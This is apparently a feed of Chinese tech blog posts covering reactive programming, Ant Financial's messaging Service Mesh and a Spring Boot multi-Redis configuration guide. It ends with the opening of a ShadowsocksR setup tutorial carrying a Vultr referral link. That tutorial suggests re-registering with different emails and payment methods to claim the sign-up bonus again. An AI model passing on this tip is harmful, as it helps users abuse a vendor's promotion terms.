        感谢在开发的同时EMR团队对Spark社区的贡献。更多对Jindo Spark的性能优化和功能增强工作还在进行中,对开源大数据和数据库OLAP场景感兴趣的同学可以联系EMR团队的无谓、铁杰和亦龙,也可加入钉钉群交流

        二维码.JPG

        微信扫描微信公众号二维码,每日推送技术文章和最新活动
        公众号二维码.jpg


        ]]>
        反应式编程探索与总结 Fri, 02 May 2025 09:39:04 +0800 1.什么是反应式编程

        Reactive Programming

        一种以异步处理数据流为中心思想的编程范式,这个范式存在已久,不是新概念,就像面向过程、面向对象编程、函数式编程等范式。

        对比一下,Reactive streams指的是一套规范,对于Java开发者来讲,Reactive Streams就是一套API,使我们可以进行Reactive programming。

        Reactive模型最核心的是线程消息管道。线程用于侦听事件,消息管道用于线程之间通信不同的消息。

        2.理论基础

        2.1 反应式宣言

        Reactive Manifesto。一切反应式概念的根源理论基础。

        https://www.reactivemanifesto.org/zh-CN

        描述了反应式系统(reactive systems)应该具备的四个关键属性:Responsive(灵敏的)、Resilient(可故障恢复的)、Elastic(可伸缩的)、Message Driven(消息驱动的)。

        1

        • Responsive(灵敏的):只要有可能,系统就会及时响应。灵敏性是系统可用性的基石,除此之外,灵敏性也意味着系统的问题可以被快速地探测和解决。具有灵敏性的系统关注做出快速和一致的响应,提供可靠和一致的服务质量。
        • Resilient(可故障恢复的):在出现故障时,系统仍然可以保持响应。一个不具可恢复性的系统一旦出现故障,就会变得无法正常响应。可恢复性可以通过复制、围控、隔离和委派等方式实现。在可恢复性的系统中,故障被包含在每个组件中,各组件之间相互隔离,从而允许系统的某些部分出故障并且在不连累整个系统的前提下进行恢复。
        • Elastic(可伸缩的):在不同的工作负载下,系统保持响应。系统可以根据输入的工作负载,动态地增加或减少系统使用的资源。这意味着系统在设计上可以通过分片、复制等途径来动态申请系统资源并进行负载均衡,从而去中心化,避免节点瓶颈。
        • Message Driven(消息驱动的):反应式系统依赖异步消息传递机制,从而在组件之间建立边界,这些边界可以保证组件之间的松耦合、隔离性、位置透明性,还提供了以消息的形式把故障委派出去的手段。
          • Failures at messages:在 Reactive 编程中,我们通常需要处理流式的信息,我们最不希望看到的是突然抛出一个异常,然后处理过程终止了。理想的解决办法是我们记下这个错误,然后开始执行某种重试或恢复的逻辑。在 Reactive Streams 中,异常是一等公民,异常不会被粗鲁地抛出,错误处理是正式建立在 Reactive Streams API 规范之内的。
          • Back-pressure中文一般翻译成“背压”、“回压”,意思是当消费端的消费能力跟不上生产端的生产速度时,消息流下游的消费方对上游的生产方说:“我喝饱了,请你慢点”。在 Reactive 的世界里,我们希望下游的消费方可以有某种机制按需请求一定数量的消息来消费(这类似消息队列中的 pull 的概念)。而不是上游把大量的消息一股脑灌给下游消费方,然后阻塞式等待,throttling(节流) is done programmatically rather than blocking threads。
          • Non-blocking:数据处理以一种非阻塞的方式被处理,线程不会因为等待别的处理过程而卡住。这里可以对比有着 非阻塞事件循环 的Node.js Server(如一条高速公路)和传统的Java多线程服务(如拥有红绿灯的十字路口)
            • 2
            • 3

         

        2.2 Imperative vs Reactive

        指令式编程 vs 反应式(响应式)编程

        2.2.1 概念

        from 维基百科

        • 指令式编程:是一种描述电脑所需作出的行为的编程典范。几乎所有电脑的硬件工作都是指令式的;几乎所有电脑的硬件都是设计来运行机器代码,使用指令式的风格来写的。较高端的指令式编程语言使用变量和更复杂的语句,但仍依从相同的典范。菜谱和行动清单,虽非计算机程序,但与指令式编程有相似的风格:每步都是指令,有形的世界控制情况。因为指令式编程的基础观念,不但概念上比较熟悉,而且较容易具体表现于硬件,所以大部分的编程语言都是指令式的。
        • 反应式编程:一种面向数据流和变化传播的编程范式。这意味着可以在编程语言中很方便地表达静态或动态的数据流,而相关的计算模型会自动将变化的值通过数据流进行传播。最初是为了简化交互式用户界面的创建和实时系统动画的绘制而提出来的一种方法,但它本质上是一种通用的编程范式。

        2.2.2 差异比较

        两种不同的编程范式
        • 指令式编程:最常见的编程模式,平时写的代码基本都属于指令式编程。代码被按顺序一行一行执行,“按顺序”同时只可以使用各种条件、循环或者方法调用来让编译器按作者意图顺序执行代码。
        • 反应式编程:基于异步数据流的编程,可以动态的创建、改变和组合。(Reactive programming is programming with asynchronous data streams that can be created, changed or combined on the go)
        举个代码的例子

        举个现实的例子

        以汽车?来举例,

        • 指令式编程中,数组就像停车场一样,存放了不同的汽车,我们可以检查停车场,看到所有停放的汽车,依次记录当前停在停车场的所有汽车。
        • 反应式编程中,数据流Stream就像一条街道,汽车会出现在街道但会立即驶过,他们并没有停在那里。当我们观察街道时,只能看到汽车依次驶过,所以“记录汽车”在这个场景下是指持续观察一条定义好的道路。

        3.理论实践

        3.1 Reactive streams api

        java8 时代的开源jar包,在java9时代被正式引入java api。

        官网:https://www.reactive-streams.org/

        github:https://github.com/reactive-streams/reactive-streams-jvm/blob/v1.0.3/README.md

        简介

        Reactive Streams is an initiative to provide a standard for asynchronous stream processing with non-blocking back pressure. This encompasses efforts aimed at runtime environments (JVM and JavaScript) as well as network protocols.

        • 反应流(Reactive Streams)是一个对于 异步流处理且伴随非阻塞回压机制 而提供的标准。这个标准服务于运行时环境(JVM和Javascript)以及网络协议。

        目标、设计与适用范围

        Handling streams of data—especially “live” data whose volume is not predetermined—requires special care in an asynchronous system. The most prominent issue is that resource consumption needs to be carefully controlled such that a fast data source does not overwhelm the stream destination. Asynchrony is needed in order to enable the parallel use of computing resources, on collaborating network hosts or multiple CPU cores within a single machine.

        • 处理流式数据——尤其是量无法预估的实时数据时,在一个异步系统内要格外小心。
        • 最重要的问题是:资源的消耗需要被小心的控制,从而使一个快速发送的数据源不会淹没下游。
        • 需要异步的原因,是为了并行的使用资源,在多个主机或同一主机多个CPU核的场景下。

        The main goal of Reactive Streams is to govern the exchange of stream data across an asynchronous boundary – think passing elements on to another thread or thread-pool — while ensuring that the receiving side is not forced to buffer arbitrary amounts of data. In other words, backpressure is an integral part of this model in order to allow the queues which mediate between threads to be bounded.

        • 反应流的主要目标:控制横穿异步边界的流数据交换(例如从一个线程池向另一个线程池传递数据),同时要确保接收端不被强迫缓冲任意数量的大量数据。
        • 换句话说,后压(backpressure)是这个模型的一部分,目的是允许队列在被界定的线程之间进行调节。

        In summary, Reactive Streams is a standard and specification for Stream-oriented libraries for the JVM that

        • process a potentially unbounded number of elements
        • in sequence,
        • asynchronously passing elements between components,
        • with mandatory non-blocking backpressure.

        总之,反应流是jvm上面向流的库的一个标准和规范:

        • 处理一个潜在无限元素的数目
        • 依次处理
        • 异步地在组件之间传递元素
        • 必须强制有非阻塞后压

        3.2 Java9 Flow

        jdk9中集成,由reactive-stream-jvm发展而来。

        The interfaces available in JDK9’s java.util.concurrent.Flow, are 1:1 semantically equivalent to their respective Reactive Streams counterparts. This means that there will be a migratory period, while libraries move to adopt the new types in the JDK, however this period is expected to be short - due to the full semantic equivalence of the libraries, as well as the Reactive Streams <-> Flow adapter library as well as a TCK compatible directly with the JDK Flow types.

        jdk9中的java.util.concurrent.Flow是对Reactive Streams的完全对等实现,除了类名不同以外其他部分都可以做一对一迁移。

        Jdk9的Reactive Stream API(java.util.concurrent.Flow)只是一套接口,约定了Reactive编程的一套规范,并没有具体的实现。而实现了这个接口的产品有:RxJava、Reactor、Akka等,而Spring WebFlux中集成的是Reactor3.0。

        3.3 Reactive Extensions(Rx)

        目前 Java 平台上主流的反应式库有两个,分别是 Netflix 维护的 RxJava 和 Pivotal 维护的 Reactor。RxJava 是 Java 平台反应式编程的鼻祖。反应式流规范在很大程度上借鉴了 RxJava 的理念。

        由于 RxJava 的产生早于反应式流规范,与规范的兼容性并不是特别好。

        ReactiveX最初被微软应用在.NET上,而后慢慢的在衍生出了各种不同语言的实现,诸如RxSwift/RxJava/RxJS。

        Rx提供了一种新的组织和协调异步事件的方式,极大的简化了代码的编写。Rx最显著的特性是使用可观察集合(Observable Collection)来达到集成异步(composing asynchronous)和基于事件(event-based)的编程的效果。

         

        RxJava:https://github.com/ReactiveX/RxJava

        以RxJS角度分析Reactive Programming:https://blog.techbridge.cc/2016/05/28/reactive-programming-intro-by-rxjs/

        3.4 Reactor

        一种反应式编程框架。

        有两种模型,FluxMono,提供了非阻塞、支持回压机制的异步流处理能力。当数据生成缓慢时,整个流自然进入推送模式;而当生产高峰来临数据生产速度加快时,整个流又进入了拉取模式。Flux 可以触发 0 到多个事件,用于异步地处理流式的信息;Mono 至多可以触发一个事件,通常用于在异步任务完成时发出通知。Flux 和 Mono 之间可以相互转换。对一个 Flux 序列进行计数操作,得到的结果是一个 Mono对象,把两个 Mono 序列合并在一起,得到的是一个 Flux 对象。

        3.5 Spring5.0 WebFlux

        Spring5.0的新模块,基于Reactor框架。包含了反应式HTTP和WebSocket的支持。上层编程模型同时支持SpringMVC中基于Java注解方式以及Java8的lambda表达式的函数式编程模型。只在编码方式不同,运行时效果相同都在反应式底层架构之上。

        webflux的关键是自己编写的代码里面返回流(Flux/Mono),spring框架来负责处理订阅。

        与传统 Spring MVC 的区别在于,WebFlux 的请求和响应使用的都是 Flux 或 Mono 对象。一般的 REST API 使用 Mono 来表示请求和响应对象;服务器推送事件使用 Flux 来表示从服务器端推送的事件流;WebSocket 则使用 Flux 来表示客户端和服务器之间的双向数据传递。

        为了最大程度的发挥反应式流和负压的作用,WebFlux 应用的各个部分都应该是支持反应式的,也就是说各个部分都应该是异步非阻塞的。要做到这一点,需要其他的库提供支持,主要是与外部系统和服务整合的部分。

        比如在数据访问层,可以通过 Spring Data 的反应式支持来访问不同类型的数据源。当然这也需要底层驱动的支持。越来越多的数据源驱动已经提供了对反应式流规范的支持,还有很多开源库可以使用。

        3.6 Akka

        https://doc.akka.io/docs/akka/current/typed/guide/introduction.html

        一个基于反应式编程理念的全异步、高并发、可容错的事件驱动编程框架,构建于JVM上,支持java和scala开发。

        Actors 为你提供:

        • 对并发/并行程序的简单的、高级别的抽象。
        • 异步、非阻塞、高性能的事件驱动编程模型。
        • 非常轻量的事件驱动处理(1G内存可容纳数百万个actors)。

        容错性

        • 使用“let-it-crash”语义的监控层次体系。
        • 监控层次体系可以跨越多个JVM,从而提供真正的容错系统。
        • 非常适合编写永不停机、自愈合的高容错系统。

        位置透明性

        Akka的所有元素都为分布式环境而设计:所有actor只通过发送消息进行交互,所有操作都是异步的。

        持久性

        actor接收到的消息可以选择性的被持久化,并在actor启动或重启的时候重放。这使得actor能够恢复其状态,即使是在JVM崩溃或正在迁移到另外节点的情况下。

        4.优点与缺点

        了解了反应式编程原理,那使用反应式编程设计的优势和劣势是什么呢?

        StackOverflow上有相关话题讨论

        https://stackoverflow.com/questions/42062199/reactive-programming-advantages-disadvantages

        4.1 优点

        • 避免"callback hell"(callback hell是指在js中所有异步都需要靠回调实现,当异步过多时造成代码嵌套大量回调 http://callbackhell.com
        • 大幅简化异步和线程操作
        • 简单的组合数据流操作
        • 复杂的线程操作变得简单
        • 代码变得更清晰可读
        • 轻松地实现“回压”

        4.2 缺点

        • 流数据(Stream data)占据空间,系统中绝大多数时间存在大量流数据。
        • 编程习惯需要适应,一切指令式编程中“调用”概念皆转换为“流”
        • 宕机时内存中流数据丢失

        4.3 性能提高

        上个月《大型网站技术架构:核心原理与案例分析》的作者,目前腾讯云TVP李智慧刚在infoQ发表的文章

        《如何用反应式编程提升系统性能与可用性》

        介绍了基于Akka开发的全异步反应式框架Flower https://github.com/zhihuili/Flower

        文章中提供了理论依据以及相关性能优化测试数据。

        Flower 支持异步数据库驱动,用户请求数据库的时候,将请求提交给异步数据库驱动,立刻就返回,不会阻塞当前线程,异步数据库访问连接远程的数据库,进行真正的数据库操作,得到结果以后,将结果以异步回调的方式发送给 Flower 的 Service 进行进一步的处理,这个时候依然不会有线程被阻塞。也就是说使用 Flower 开发的系统,在一个典型的 Web 应用中,几乎没有任何地方会被阻塞,所有的线程都可以被不断的复用,有限的线程就可以完成大量的并发用户请求,从而大大地提高了系统的吞吐能力和响应时间,同时,由于线程不会被阻塞,应用就不会因为并发量太大或者数据库处理缓慢而宕机,从而提高了系统的可用性。

        全部异步化意味着更少线程切换、避免了线程阻塞,从而获得更好的执行性能。

         

        简单的举个例子来说,以前一个线程要做A、B、C三个方法,但是C存在IO阻塞(如数据库操作),当C方法延时高时,会使系统整体在阻塞状态的线程增多,A、B方法也受影响。

        但使用反应式编程概念,A、B、C三个方法都有各自的线程(或线程池)来处理,三个方法的触发使用数据流(也可称事件)串起来,则C的阻塞不会影响A、B的处理。

        参考资料

        《反应式编程概览》

        《Reactive programming 一种技术各自表述》

        《Java平台反应式编程入门》

        《Imperative vs Reactive》

        ]]>
        蚂蚁金服 Service Mesh 大规模落地系列 - 消息篇 Fri, 02 May 2025 09:39:04 +0800 Service Mesh-消息-01.jpg

        本文为《蚂蚁金服 Service Mesh 大规模落地系列》第二篇,该系列将会从核心、RPC、消息、无线网关、控制面、安全、运维、测试等模块对 Service Mesh 双十一大规模落地实践进行详细解析。文末包含往期系列文章。

        引言

        Service Mesh 作为蚂蚁金服向下一代云原生架构演进的核心基础设施,在2019年得到了大规模的应用与落地,截止目前,蚂蚁金服的 Service Mesh 数据平面 MOSN 已接入应用数百个,接入容器数量达数十万,一举成为全世界最大的 Service Mesh 集群。同时,在刚刚结束的双十一大促中,Service Mesh 的表现也十分亮眼,RPC 峰值 QPS 达到了几千万,消息峰值 TPS 达到了几百万,且引入 Service Mesh 后的平均 RT 增长幅度控制在 0.2 ms 以内。

        本文作为整个 Service Mesh 系列文章的消息篇,作者:刘翔(花名:无勤),蚂蚁金服消息 Mesh 负责人, 消息中间件核心研发成员,专注于高吞吐、低延迟的消息中间件研发,以及云原生时代下一代消息系统的架构设计与研发。本文将从以下几个方面对消息 Mesh 进行解读:

        • 对消息 Mesh 进行介绍,解答消息 Mesh 在整个 Service Mesh 中的地位是什么,它又能为业务带来哪些价值;
        • 结合蚂蚁金服消息中间件团队 Mesh 化的实践与思考,阐述如何在消息领域进行 Mesh 化改造;
        • 消息 Mesh 在蚂蚁金服内部大规模落地过程中遇到的问题与挑战,以及对应的解决方案;
        • 消息流量精细化调度上的思考与在 Mesh 上的实现与落地;

        消息 Mesh 简介

        Service Mesh 作为云原生场景下微服务架构的基础设施(轻量级的网络代理),正受到越来越多的关注。Service Mesh 不仅负责在微服务架构的复杂拓扑中可靠地传递请求,也将限流、熔断、监控、链路追踪、服务发现、负载均衡、异常处理等与业务逻辑无关的流量控制或服务治理行为下沉,让应用程序能更好地关注自身业务逻辑。

        微服务架构中的通信模式实际上是多种多样的,既包含同步的请求调用,也包含异步的消息/事件驱动,然而流行的 Service Mesh 实现(Istio,Linkerd,Consul Connect等),都仍局限在对微服务中同步请求调用的关注,却无法管理和追踪异步消息流量。而消息 Mesh 则是对这一块的重要补充,通过将消息 Mesh 有机地融合到 Service Mesh 中,可以帮助  Service Mesh 实现对所有微服务流量的管控和追踪,从而进一步完善其架构目标。

        消息 Mesh 的价值

        在传统的消息中间件领域,我们更关注的是消息服务端的性能、服务可用性、数据可靠性等核心指标,而与业务应用密切相关的一些能力,包括消息的流量控制(限流、熔断、灰度、着色、分组等),消息的服务治理(消息量级与消息应用拓扑等),消息链路的追踪(消息轨迹)却往往不尽如人意。

        这不仅是因为传统模式下上述能力的提供和优化都涉及客户端的改造与大规模升级,整个过程常常比较漫长,难以快速根据有效反馈不断优化,更重要的是缺乏一个统一的架构指导思想,混乱无序地向客户端叠加相关功能只会让消息客户端变得越来越臃肿和难以维护,也变向增加了业务系统的接入、调试和排查问题的成本。而消息 Mesh 作为 Service Mesh 的补充,能显著带来如下价值和收益:

        • 快速升级 - 通过将与业务逻辑无关的一些核心关键能力下沉到 Sidecar 中,使这些能力的单独快速迭代与升级成为可能;
        • 流量控制 - 可以向 Sidecar 中集成各种流量控制策略,例如可根据消息类型、消息数量、消息大小等多种参数来控制消息的发送和消费速率;
        • 流量调度 - 通过打通 Sidecar 节点之间的通信链路,可以利用 Sidecar 的流量转发来实现任意精度的消息流量调度,帮助基于事件驱动的微服务应用进行多版本流量管理、流量着色、分组路由、细粒度的流量灰度与A/B策略等;
        • 消息验证 - 消息验证在基于事件驱动的微服务架构中正变得越来越重要,通过将这部分能力下沉到 Sidecar,不仅可以让业务系统无缝集成消息验证能力,也可以让 Sidecar 通过 Schema 理解消息内容,并进一步具备恶意内容识别等安全管控能力;
        • 可观测性 - 由于所有的消息流量都必须通过 Sidecar,因此可以为 Sidecar 上的消息流量按需增加 Trace 日志,Metrics 采集,消息轨迹数据采集等能力,并借此进一步丰富消息服务的治理能力;

        消息 Mesh 化改造

        在蚂蚁金服内部,Msgbroker 基于推模型提供高可靠、高实时、事务消息、header 订阅等特性,帮助核心链路进行异步解耦,提升业务的可扩展能力,并先后伴随蚂蚁金服众多核心系统一起经历了分布式改造、单元化改造与弹性改造,目前主要承载蚂蚁内部交易、账务、会员、消费记录等核心在线业务的异步消息流量。

        由于 Service Mesh 的推进目标也是优先覆盖交易支付等核心链路,为在线业务赋能,因此我们优先选择对 Msgbroker 系统进行 Mesh 化改造。下面将以 Msgbroker 为例,重点剖析 Mesh 化后在整体架构和核心交互流程上的变化,为消息领域的 Mesh 化改造提供参考。

        整体架构

        image.png

        消息 Mesh 化后的整体架构如上图所示,与原有的消息架构相比,主要的变化有:

        • 客户端不再与服务端直连,而是通过 Sidecar 进行请求的中转,对客户端而言,Sidecar 实际上是它唯一能感知到的消息服务端,对服务端而言,Sidecar 则扮演着客户端的角色;
        • 所有 Sidecar 都会与控制平面交互,接收服务端地址列表、流量管控和调度配置、运行时动态配置等的下发,从而使数据平面具备限流、熔断、异常重试、服务发现、负载均衡、精细化流量调度等能力;

        核心交互流程

        当 Sidecar 代理了消息客户端的所有请求后,一旦 Sidecar 完成消息服务的发现与服务端/客户端路由数据的缓存,无论是客户端的发消息请求还是服务端的推消息请求,都能由 Sidecar 进行正确的代理转发,而这一切的关键,则是 Sidecar 与消息客户端协同完成一系列的初始化操作。

        消息 Mesh 化后具体的初始化流程如下所示,与原有的初始化流程相对比,主要有如下不同:

        • 在经过 Mesh 化改造后,消息客户端不再直接向 SOFARegistry 订阅消息服务端的地址,而是将所有消息元数据(包含业务应用声明的消息 Topic、发送/订阅组 GroupId 等关键信息)通过 HTTP 请求上报给 MOSN,由 MOSN 进行元数据的持久化(用于 MOSN 异常 Crash 后的恢复)以及消息服务端地址的订阅和处理;
        • 当客户端收到 MOSN 对于注册请求的响应时,会主动与 MOSN 建立连接,并将与该连接相关的 Group 集合信息通过控制指令发送给 MOSN,由于客户端与 MOSN 可能存在多个连接,且不同连接上的 Group 集合可以不同,而 MOSN 与同一个消息服务端只维持一个连接,因此控制指令无法向消息数据一样直接进行转发,而是需要汇总计算所有 GroupId 集合后再统一广播给消息服务端集群。由于上述计算逻辑十分复杂,需要包含过滤和聚合,且存在动态和并发行为,一旦因计算错误则会严重影响到消息投递的正确性,因此当前 MOSN 绕过了该指令的代理,只利用客户端的控制指令进行相关数据的校验,以及更新客户端连接的映射信息(用于 MOSN 的客户端连接选择),而是选择依赖消息客户端的改造引入上述 HTTP 注册请求来构造全量控制指令;

        MOSN:https://github.com/sofastack/sofa-mosn

        image.png

        消息 Mesh 的挑战

        消息中间件最关键的挑战,在于如何在洪峰流量下依然保障消息服务的高可靠与高实时。而在消息 Mesh 化的大规模实施过程中,还需要考虑数十万的容器节点对数据面整体稳定性和控制面性能带来的巨大挑战,这些都依赖于完善的 Sidecar 运维体系,包括 Sidecar 的资源分配策略,以及 Sidecar 独立变更升级的策略。

        资源管理

        当 Service Mesh 的实体 MOSN 作为 Sidecar 与业务容器部署在一起时,就不再像消息服务端一样只需要关心自身的资源消耗,而是必须精细化其 CPU、内存等资源的分配,才能达到与应用最优的协同合作方式。在 Sidecar 的精细化资源管理上,先后经历了独立分配、通过超卖与业务容器共享、细粒度的 CPU 资源分配策略和内存 OOM 策略调整等多个阶段,最终基于 Service Mesh 将原有的与业务无关的逻辑下沉到 Sidecar,其占用的资源实际是原来业务容器会使用的资源这一假设,在零新增成本的情况下平稳支撑了数十万规模级别的 Sidecar 容器分配。关于资源管理更详细的内容可以期待后续  Service Mesh 系列文章中的运维篇,本文就不再赘述。

        平滑升级

        为了达到 Sidecar 这一类基础设施的变更升级对业务完全无感知的目的,就需要使 MOSN 具备平滑升级的能力。在平滑升级过程中,新的 MOSN 首先会被注入,并通过共享卷的 UnixSocket 去检查是否存在老的 MOSN,若存在,则利用内核 Socket 的迁移实现老 MOSN 的连接全部迁移给新 MOSN,如下图所示,最终再让老 MOSN 优雅退出,从而实现 MOSN 在整个升级和发布过程中对业务无任何打扰,关于 MOSN 本身平滑升级更多的内容,可以参考 Service Mesh 系列文章中的核心篇

        image.png

        上述平滑升级方案,其实隐含了一个非常重要的前提,单条连接上的请求必须是单向的。从下图可知,对于 RPC 场景,其单条连接的角色是固定的,只能是服务端连接或客户端连接,且对一次请求的代理过程也是固定的,总是从服务端连接上收到一个请求,再从客户端连接将请求转发出去,因此 RPC 可以直接使用上述平滑升级方案。

        image.png

        然而,在消息场景特别是 Msgbroker 场景下,如下图所示,MOSN 上的连接请求实际上是双向的,不仅客户端会使用该连接进行消息的发送,服务端也会利用该连接将消息主动推送给 MOSN,这就会给上述连接迁移带来新的问题和挑战:

        • 在连接迁移的过程中,如果消息客户端已处理完经过 MOSN 转发的服务端投递消息请求,但是还未回复响应,此时若把连接迁移到新的 MOSN,则新的 MOSN 将收到上述响应,但由于新 MOSN 缺失上下文,无法将该响应返回给正确的消息服务端
        • 在连接迁移完成,但老 MOSN 还未优雅退出期间,由于两个 MOSN 与消息服务端都存在连接,两者都会收到服务端发送的投递消息请求,但因两个 MOSN 与服务端连接的状态各自独立,可能会使客户端收到的请求ID冲突

        image.png

        解决上述问题的思路其实很简单,即为在平滑升级的过程中,禁止服务端向老 MOSN 发送投递消息请求,保证即使在消息场景整个平滑升级过程中的所有连接仍然是单工通信的。具体对平滑升级流程的改动如下:

        • 老 MOSN 平滑升级指令后,会立即向所有的消息服务端发送禁止再接收消息的控制指令;
        • 新 MOSN 感知老 MOSN 完成前置操作,开始进行原有的平滑升级流程,进行初始化和存量连接迁移;
        • 新 MOSN 完成存量连接迁移后,向所有的消息服务端发送接收消息的控制指令,开始正常的消息订阅;

        消息 Mesh 流量调度

        消息 Mesh 的流量调度如下图所示。

        首先,控制平面会将与流量调度相关的规则下发至 MOSN,规则主要包含该应用下所有容器节点的 IP 地址与流量权重,这是能够进行精细化流量调度的前提。

        其次,当 MOSN 收到消息投递请求时,会判断请求的来源,若请求来源于其他 MOSN 节点,则会直接将该请求转发给客户端,避免消息投递请求的循环转发,而若请求来源于消息服务端,则 MOSN 会根据自身的流量权重来决定下一步的路由,若自身的流量权重是100%,会同样将该请求转发给客户端,但若自身权重小于100%,则会按照配置的权重将剩余请求均匀转发给其他流量权重为100%的 MOSN 节点。

        最后,与 RPC 的点对点通信方式不同,无论是消息发送端还是订阅端都只与消息服务端通信,这意味着即使进行了消息 Mesh 化改造后,MOSN 也只与消息服务端通信,同一个应用的 MOSN 节点之间是不存在消息连接的,为了实现 MOSN 之间的消息流量转发,则需要内置实现一个与业务应用进程同生命周期的消息转发服务,由同应用内的所有其他 MOSN 节点订阅并在需要转发时调用。

        image.png

        总结

        消息 Mesh 经过蚂蚁消息中间件团队大半年的打磨和沉淀,已经迈出了坚实的一大步:在开源社区迟迟未在消息 Mesh 上取得实质性进展时,我们已经为蚂蚁内部主流消息中间件打通了数据平面。

        同时也有充满想象力的一小步:依赖消息的精细化流量调度,预期可以发挥更大的业务价值,包括基于事件驱动的 Serverless 化应用多版本流量管理、流量着色、分组路由、细粒度的流量灰度与A/B策略等,等待着去开发与挖掘,

        这些都在双十一大促中取得了不俗的成绩。未来,我们将会持续加大对消息 Mesh的投入,为消息 Mesh 支持更多的消息协议,赋予更多开箱即用的的消息流量管控和治理能力,并进一步结合 Knative 探索消息精细化流量调度在 Serverless 下的应用场景。最后,也欢迎志同道合的伙伴加入我们,一起参与金融级分布式消息系统、云原生时代的下一代消息系统的架构设计和研发。

        往期系列阅读

        ]]>
        Spring boot如何快速的配置多个Redis数据源 Fri, 02 May 2025 09:39:04 +0800 简介

        redis 多数据源主要的运用场景是在需要使用多个redis服务器或者使用多个redis库,本文采用的是fastdep依赖集成框架,快速集成Redis多数据源并集成lettuce连接池,只需引入依赖后在yaml文件中配置多数据源连接信息即可。

        源码地址

        希望大家可以star支持一下,后续还会加入其它依赖的简易整合。
        https://github.com/louislivi/fastdep

        引入依赖

        • Maven
        <dependency>
            <groupId>com.louislivi.fastdep</groupId>
            <artifactId>fastdep-redis</artifactId>
            <version>1.0.1</version>
        </dependency>
        • Gradle

          compile group: 'com.louislivi.fastdep', name: 'fastdep-redis', version: '1.0.1'

        配置文件

        fastdep:
            redis:
              redis1: #连接名称
                database: 0
                host: 192.168.12.88
                port: 6379
                lettuce: #下面为连接池的补充设置
                  shutdown-timeout: 100 # 关闭超时时间
                  pool:
                    max-active: 18 # 连接池最大连接数(使用负值表示没有限制)
                    max-idle: 8 # 连接池中的最大空闲连接
                    max-wait: 30 # 连接池最大阻塞等待时间(使用负值表示没有限制)
                    min-idle: 0 # 连接池中的最小空闲连接
              redis2: #连接名称
                database: 1
                host: 192.168.12.88
                port: 6379
                lettuce: #下面为连接池的补充设置
                  shutdown-timeout: 100 # 关闭超时时间
                  pool:
                    max-active: 18 # 连接池最大连接数(使用负值表示没有限制)
                    max-idle: 8 # 连接池中的最大空闲连接
                    max-wait: 30 # 连接池最大阻塞等待时间(使用负值表示没有限制)
                    min-idle: 0 # 连接池中的最小空闲连接

        运用

        @Autowired
        private StringRedisTemplate redis1StringRedisTemplate;
        // 注入时 redis1 代表配置文件中的连接名称 StringRedisTemplate 为固定注入redis对象类型,
        // 会自动根据注入的变量名进行匹配
        
        @Autowired
        private StringRedisTemplate redis2StringRedisTemplate;
        
        
        @GetMapping("redis")
        public void redis() {
            System.out.println(redis1StringRedisTemplate.opsForValue().get("test"));
            System.out.println(redis2StringRedisTemplate.opsForValue().get("test"));
        }

        扩展

        有时候需要自定义redisTemplate序列化和增加一些额外的配置,这时候我们可以封装一个redis工具类来实现

        package com.louislivi.fastdep.test.utils;
        
        import org.springframework.beans.factory.annotation.Autowired;
        import org.springframework.data.redis.core.RedisTemplate;
        import org.springframework.data.redis.core.StringRedisTemplate;
        import org.springframework.data.redis.serializer.StringRedisSerializer;
        import org.springframework.stereotype.Component;
        
        /**
         * RedisUtil
         * 
         * @author : louislivi
         */
        @Component
        public class RedisUtil {
            @Autowired
            private StringRedisTemplate redis1StringRedisTemplate;
        
            @Autowired
            private StringRedisTemplate redis2StringRedisTemplate;
        
            @Autowired
            private RedisTemplate redis2RedisTemplate;
        
            @Autowired
            private RedisTemplate redis1RedisTemplate;
        
            public RedisTemplate redisTemplate(String name) {
                RedisTemplate redisTemplate;
                switch (name) {
                    case "redis2":
                        redisTemplate = redis2RedisTemplate;
                        break;
                    default:
                        redisTemplate = redis1RedisTemplate;
                        break;
                }
                StringRedisSerializer stringRedisSerializer = new StringRedisSerializer();
                redisTemplate.setKeySerializer(stringRedisSerializer);
                redisTemplate.setValueSerializer(stringRedisSerializer);
                redisTemplate.setHashKeySerializer(stringRedisSerializer);
                redisTemplate.setHashValueSerializer(stringRedisSerializer);
                return redisTemplate;
            }
        
            public StringRedisTemplate stringRedisTemplate(String name) {
                StringRedisTemplate stringRedisTemplate;
                switch (name) {
                    case "redis2":
                        stringRedisTemplate = redis2StringRedisTemplate;
                        break;
                    default:
                        stringRedisTemplate = redis1StringRedisTemplate;
                        break;
                }
                stringRedisTemplate.setEnableTransactionSupport(true);
                return stringRedisTemplate;
            }
        }
        
        @Autowired
        private RedisUtil redisUtil;
        
        
        @GetMapping("redis")
        public void redis() {
            System.out.println(redisUtil.redisTemplate("redis1").opsForValue().get("test"));
            System.out.println(redisUtil.stringRedisTemplate("redis2").opsForValue().get("test"));
        }

        原理

        使用ImportBeanDefinitionRegistrar BeanDefinitionBuilder.genericBeanDefinition动态注入Bean其实很简单有兴趣可以去看看源码,这样的依赖集成是不是简单了很多呢?

        希望大家能够支持开源,给个小星星,后续还会继续开发其他依赖的整合,甚至兼容其他框架使用。fastdepjava整合依赖更简单。在此也招募有志同道合的coder共同完善这个项目。

        ]]>
        手把手教你搭建shadowsocksR科学上网 搭建SSR教程 适用于所有linux主机 Fri, 02 May 2025 09:39:04 +0800 本教程适用于所有基于linux系统的服务器,但是如果是新手用户,建议使用vultr。 最大原因:vultr是目前唯一一家可以随意换IP的商家。如果IP被封,直接删除服务器再开服务器就是新IP了。vultr按小时计费,有IPv4的套餐最低3.5美元一个月,不过并不是这么贵,因为vultr充值就赠送50美元,后台分享推特再赠送3美元。 vultr赠送50美元活动地址:https://www.vultr.com/?ref=7770944-4F 支持支付宝和微信支付,非常适合国人用户。建议先用微信支付一次,下次重装系统或者换电脑,用不同的邮箱不同的支付方式再注册。

        vultr注册及开通VPS 首先点击https://www.vultr.com/?ref=7770944-4F 进入活动页面

        然后输入邮箱和密码,邮箱使用国内邮箱也可以,密码不能小于十位,而且必须是大写字母+小写字母+数字的组合。输入好之后点击Create Account按钮。这时候注册的邮箱会收到一封验证邮件(有时候验证邮箱也会跑到邮件垃圾箱),点击里面的验证按钮,就会跳转到vultr后台,然后再登录就可以了。

        然后在vultr后台左侧点击Billing,可以看到支付方式有支付宝和微信支付,国人用非常方便,这里选择支付宝或者微信,然后选择充值金额,点击下面的Pay with Alipay跳转到相应的支付工具进行支付就可以了。接下来点击后台右侧有一个漂浮的蓝色“+”号,开始创建服务器。

        可以看到目前vultr全球有16个机房,不过想日本机房被用的太狠了,基本没有可用的IP,建议选择美国机房,反正是按小时计费的,可以以后试试看哪个机房适合自己的网络。

